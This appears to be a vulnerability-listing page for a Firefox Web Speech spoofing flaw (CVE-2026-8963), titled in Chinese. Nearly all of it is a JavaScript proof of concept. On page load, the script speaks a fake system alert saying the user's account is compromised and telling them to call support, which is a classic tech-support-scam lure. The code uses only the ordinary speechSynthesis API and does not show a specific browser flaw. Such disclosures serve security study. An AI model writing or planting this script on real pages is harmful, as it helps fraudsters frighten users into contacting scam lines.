CVE-2026-8963 Firefox Web Speech欺骗漏洞

// PoC for CVE-2026-8963 Web Speech Spoofing // This script demonstrates how a malicious site could utilize the Web Speech API // to potentially spoof or deceive the user by playing fake system messages. function triggerSpoofing() { if ('speechSynthesis' in window) { // Create a new speech synthesis utterance var message = new SpeechSynthesisUtterance("System Alert: Your account has been compromised. Please call support immediately."); // Attempt to set properties to make it sound official (if supported) message.lang = 'en-US'; message.rate = 1.0; message.pitch = 1.0; // Speak the fake message window.speechSynthesis.speak(message); console.log("CVE-2026-8963 PoC: Spoofing message triggered via Web Speech API."); } else { console.log("Web Speech API not supported."); } } // Execute immediately upon page load window.onload = triggerSpoofing;